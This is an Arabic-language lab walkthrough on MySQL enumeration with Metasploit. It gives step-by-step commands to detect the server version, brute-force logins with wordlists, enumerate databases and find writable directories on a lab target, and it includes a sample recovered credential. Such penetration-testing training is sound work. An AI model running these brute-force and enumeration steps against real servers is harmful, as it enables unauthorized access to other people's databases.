🧪 المختبر العملي 7: تعداد خدمة MySQL (MySQL Enumeration Lab)

🎯 الهدف الأساسي: جمع معلومات حول خادم MySQL مستهدف، بما في ذلك إصداره، وتخمين بيانات الاعتماد، وتحديد قواعد البيانات القابلة للكتابة، باستخدام وحدات Metasploit المساعدة.

🔧 الأدوات المستخدمة:

  • MSFconsole: واجهة Metasploit الرئيسية.

  • الوحدات المساعدة (Auxiliary Modules):

    • scanner/mysql/mysql_version: لتحديد إصدار MySQL.

    • scanner/mysql/mysql_login: لتخمين كلمات المرور.

    • scanner/mysql/mysql_enum: لتعداد معلومات إضافية (يتطلب مصادقة).

    • scanner/mysql/mysql_sql: لتنفيذ استعلامات SQL (يتطلب مصادقة).

    • scanner/mysql/mysql_writable_dirs: لتحديد المسارات القابلة للكتابة.

  • ملفات القوائم (Wordlists): لتوفير قائمة بأسماء المستخدمين وكلمات المرور المحتملة.

📜 خطوات التنفيذ:

📊 مرحلة جمع المعلومات (Information Gathering): تعداد الخدمات وبيانات الاعتماد

  1. 🚀 بدء تشغيل MSFconsole وتحديد عنوان IP للهدف:

    • ابدأ msfconsole:

      msfconsole -q
    • حدد عنوان IP للهدف .

  2. 💡 تعداد إصدار خدمة MySQL باستخدام mysql_version:

    • 🔑 استخدام الوحدة:

      use auxiliary/scanner/mysql/mysql_version
    • ⚙️ تعيين الخيارات:

      show options
      set RHOSTS [Target_IP_Address]
    • 🚀 تشغيل التعداد:

      run
    • إذا نفذت هذا الأمر، ستقوم الوحدة بتحديد وعرض إصدار خدمة MySQL (مثلاً: 5.6.1).

  3. 💡 إجراء هجوم تخمين (Brute-Force) على بيانات اعتماد MySQL باستخدام mysql_login:

    • 🔧 الرجوع واستخدام الوحدة:

      back
      use auxiliary/scanner/mysql/mysql_login
    • ⚙️ تعيين الخيارات:

      show options
      set RHOSTS [Target_IP_Address]
      set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
      set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
      set VERBOSE false # لإخفاء المحاولات الفاشلة وعرض النتائج الصحيحة فقط
    • 🚀 تشغيل التخمين:

      run
    • إذا نفذت هذا الأمر، ستبدأ الوحدة بمحاولة تسجيل الدخول وستعرض أي بيانات اعتماد صحيحة تم العثور عليها (مثال: root:twinkle).

  4. 💡 تعداد معلومات إضافية (Enumeration) باستخدام mysql_enum (يتطلب مصادقة):

    • 🔧 الرجوع واستخدام الوحدة:

      back
      use auxiliary/scanner/mysql/mysql_enum
    • ⚙️ تعيين الخيارات: (استخدم بيانات الاعتماد التي تم الحصول عليها في الخطوة السابقة)

      show options
      set RHOSTS [Target_IP_Address]
      set USERNAME root
      set PASSWORD twinkle
    • 🚀 تشغيل التعداد:

      run
    • إذا نفذت هذا الأمر، ستقوم الوحدة بتعداد معلومات مثل قواعد البيانات الموجودة (مثلاً: upload, vendor, video, warehouse).

  5. 💡 تحديد المسارات القابلة للكتابة باستخدام mysql_writable_dirs (يتطلب مصادقة):

    • 🔧 الرجوع واستخدام الوحدة:

      back
      use auxiliary/scanner/mysql/mysql_writable_dirs
    • ⚙️ تعيين الخيارات:

      show options
      set RHOSTS [Target_IP_Address]
      set USERNAME root
      set PASSWORD twinkle
      set DIR_LIST /usr/share/metasploit-framework/data/wordlists/dirs.txt # مثال لملف قائمة
    • 🚀 تشغيل التعداد:

      run
    • إذا نفذت هذا الأمر، ستقوم الوحدة بتحديد أي مسارات داخل MySQL قابلة للكتابة (مثلاً: /tmp, /root).

نقاط التحقق:

  • يجب تحديد إصدار MySQL.

  • يجب اكتشاف بيانات اعتماد صالحة.

  • يجب تعداد قواعد البيانات والمسارات القابلة للكتابة .

Last updated